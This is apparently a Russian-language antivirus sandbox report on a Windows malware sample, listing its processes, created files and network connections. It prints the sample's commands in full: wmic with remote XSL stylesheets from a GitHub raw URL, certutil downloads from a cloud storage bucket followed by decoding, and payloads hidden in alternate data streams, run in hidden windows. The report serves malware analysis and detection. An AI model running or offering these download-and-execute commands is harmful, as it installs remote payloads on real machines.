Техническая информация
Вредоносные функции
Создает и запускает на исполнение
- '<SYSTEM32>\wbem\wmic.exe' os get SKqqnccxx, mvvvvvv, freevirtualmemory /format:"http://ra#.####ubusercontent.com/GCMaia/Sharing/master/.idea/libraries/x/04/v.xsl#0250812236699hh"
- '<SYSTEM32>\wbem\wmic.exe' os get HTOUKUQD, GFCUXXSC, TIVRSIIR, registeredusers /format:"https://raw.githubusercontent.com/GCMaia/Sharing/master/.idea/libraries/x/04/vv.xsl#416305"
- '<SYSTEM32>\certutil.exe' -urlcache -split -f https://storage.googleapis.com/linuxczv/04/halawxtza.jpg.zip.log?411413661 C:\Users\Public\Libraries\win32\halawxtza.jpg.z
- '<SYSTEM32>\certutil.exe' -decode C:\Users\Public\Libraries\win32\halawxtza.jpg.z C:\Users\Public\Libraries\win32\halawxtza.jpg
- '<SYSTEM32>\certutil.exe' -urlcache -split -f https://storage.googleapis.com/linuxczv/04/halawxtzb.jpg.zip.log?478075485 C:\Users\Public\Libraries\win32\halawxtzb.jpg.z
- '<SYSTEM32>\certutil.exe' -decode C:\Users\Public\Libraries\win32\halawxtzb.jpg.z C:\Users\Public\Libraries\win32\halawxtzb.jpg
- '<SYSTEM32>\certutil.exe' -urlcache -split -f https://storage.googleapis.com/linuxczv/04/halawxtzc.jpg.zip.log?861036592 C:\Users\Public\Libraries\win32\halawxtzc.jpg.z
- '<SYSTEM32>\certutil.exe' -decode C:\Users\Public\Libraries\win32\halawxtzc.jpg.z C:\Users\Public\Libraries\win32\halawxtzc.jpg
- '<SYSTEM32>\certutil.exe' -urlcache -split -f https://storage.googleapis.com/linuxczv/04/halawxtzdwwn.gif.zip.log?530493018 C:\Users\Public\Libraries\win32\halawxtzdwwn.gif.z
- '<SYSTEM32>\certutil.exe' -decode C:\Users\Public\Libraries\win32\halawxtzdwwn.gif.z C:\Users\Public\Libraries\win32\halawxtzdwwn.gif
- '<SYSTEM32>\certutil.exe' -urlcache -split -f https://storage.googleapis.com/linuxczv/04/halawxtzdx.gif.zip.log?795518771 C:\Users\Public\Libraries\win32\halawxtzdx.gif.z
- '<SYSTEM32>\certutil.exe' -decode C:\Users\Public\Libraries\win32\halawxtzdx.gif.z C:\Users\Public\Libraries\win32\halawxtzdx.gif
- '<SYSTEM32>\certutil.exe' -urlcache -split -f https://storage.googleapis.com/linuxczv/04/halawxtzg.gif.zip.log?494058828 C:\Users\Public\Libraries\win32\halawxtzg.gif.z
- '<SYSTEM32>\certutil.exe' -decode C:\Users\Public\Libraries\win32\halawxtzg.gif.z C:\Users\Public\Libraries\win32\halawxtzg.gif
- '<SYSTEM32>\certutil.exe' -urlcache -split -f https://storage.googleapis.com/linuxczv/04/halawxtzgx.gif.zip.log?699404255 C:\Users\Public\Libraries\win32\halawxtzgx.gif.z
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\e78hirr.jpg:ql22334.cmd
- <LS_APPDATA>\microsoft\windows\<INETFILES>\content.ie5\re1n75kr\halawxtzdwwn.gif.zip[1].log
- C:\users\public\libraries\win32\halawxtzc.jpg
- C:\users\public\libraries\win32\halawxtzc.jpg.z
- <LS_APPDATA>\microsoft\windows\<INETFILES>\content.ie5\bzjx5bke\halawxtzc.jpg.zip[1].log
- C:\users\public\libraries\win32\halawxtzb.jpg
- C:\users\public\libraries\win32\halawxtzb.jpg.z
- <LS_APPDATA>\microsoft\windows\<INETFILES>\content.ie5\caasbycl\halawxtzb.jpg.zip[1].log
- C:\users\public\libraries\win32\halawxtza.jpg
- C:\users\public\libraries\win32\halawxtza.jpg.z
- <LS_APPDATA>\microsoft\windows\<INETFILES>\content.ie5\0u8lpyu9\halawxtza.jpg.zip[1].log
- %TEMP%\sxs13f9.tmp
- <LS_APPDATA>\microsoft\windows\<INETFILES>\content.ie5\re1n75kr\vv[1].xsl
- %TEMP%\ylyemnqm.jpg:init.cmd
- %TEMP%\sxs95a.tmp
- <LS_APPDATA>\microsoft\windows\<INETFILES>\content.ie5\caasbycl\v[1].xsl
- C:\users\public\libraries\win32\halawxtzdwwn.gif.z
- C:\users\public\libraries\win32\halawxtzdwwn.gif
Сетевая активность
Подключается к
- 'ra#.####ubusercontent.com':443
- 'st#####.googleapis.com':443
TCP
Запросы HTTP GET
- http://ra#.####ubusercontent.com/GCMaia/Sharing/master/.idea/libraries/x/04/v.xsl
UDP
- DNS ASK ra#.####ubusercontent.com
- DNS ASK st#####.googleapis.com
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c echo wmic ^os ^get ^HTOUKUQD, ^GFCUXXSC, ^TIVRSIIR, ^registeredusers ^/format:"https://raw.githubusercontent.com/GCMaia/Sharing/master/.idea/libraries/x/04/vv.xsl#416305" > %TMP%\YLYEMNQM.j...' (со скрытым окном)
- '<SYSTEM32>\certutil.exe' -urlcache -split -f https://storage.googleapis.com/linuxczv/04/halawxtza.jpg.zip.log?411413661 C:\Users\Public\Libraries\win32\halawxtza.jpg.z' (со скрытым окном)
- '<SYSTEM32>\certutil.exe' -decode C:\Users\Public\Libraries\win32\halawxtza.jpg.z C:\Users\Public\Libraries\win32\halawxtza.jpg' (со скрытым окном)
- '<SYSTEM32>\certutil.exe' -urlcache -split -f https://storage.googleapis.com/linuxczv/04/halawxtzb.jpg.zip.log?478075485 C:\Users\Public\Libraries\win32\halawxtzb.jpg.z' (со скрытым окном)
- '<SYSTEM32>\certutil.exe' -decode C:\Users\Public\Libraries\win32\halawxtzb.jpg.z C:\Users\Public\Libraries\win32\halawxtzb.jpg' (со скрытым окном)
- '<SYSTEM32>\certutil.exe' -urlcache -split -f https://storage.googleapis.com/linuxczv/04/halawxtzc.jpg.zip.log?861036592 C:\Users\Public\Libraries\win32\halawxtzc.jpg.z' (со скрытым окном)
- '<SYSTEM32>\certutil.exe' -decode C:\Users\Public\Libraries\win32\halawxtzc.jpg.z C:\Users\Public\Libraries\win32\halawxtzc.jpg' (со скрытым окном)
- '<SYSTEM32>\certutil.exe' -urlcache -split -f https://storage.googleapis.com/linuxczv/04/halawxtzdwwn.gif.zip.log?530493018 C:\Users\Public\Libraries\win32\halawxtzdwwn.gif.z' (со скрытым окном)
- '<SYSTEM32>\certutil.exe' -decode C:\Users\Public\Libraries\win32\halawxtzdwwn.gif.z C:\Users\Public\Libraries\win32\halawxtzdwwn.gif' (со скрытым окном)
- '<SYSTEM32>\certutil.exe' -urlcache -split -f https://storage.googleapis.com/linuxczv/04/halawxtzdx.gif.zip.log?795518771 C:\Users\Public\Libraries\win32\halawxtzdx.gif.z' (со скрытым окном)
- '<SYSTEM32>\certutil.exe' -decode C:\Users\Public\Libraries\win32\halawxtzdx.gif.z C:\Users\Public\Libraries\win32\halawxtzdx.gif' (со скрытым окном)
- '<SYSTEM32>\certutil.exe' -urlcache -split -f https://storage.googleapis.com/linuxczv/04/halawxtzg.gif.zip.log?494058828 C:\Users\Public\Libraries\win32\halawxtzg.gif.z' (со скрытым окном)
- '<SYSTEM32>\certutil.exe' -decode C:\Users\Public\Libraries\win32\halawxtzg.gif.z C:\Users\Public\Libraries\win32\halawxtzg.gif' (со скрытым окном)
- '<SYSTEM32>\certutil.exe' -urlcache -split -f https://storage.googleapis.com/linuxczv/04/halawxtzgx.gif.zip.log?699404255 C:\Users\Public\Libraries\win32\halawxtzgx.gif.z' (со скрытым окном)
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' -
- '<SYSTEM32>\cmd.exe' /c echo wmic ^os ^get ^HTOUKUQD, ^GFCUXXSC, ^TIVRSIIR, ^registeredusers ^/format:"https://raw.githubusercontent.com/GCMaia/Sharing/master/.idea/libraries/x/04/vv.xsl#416305" > %TMP%\YLYEMNQM.j...
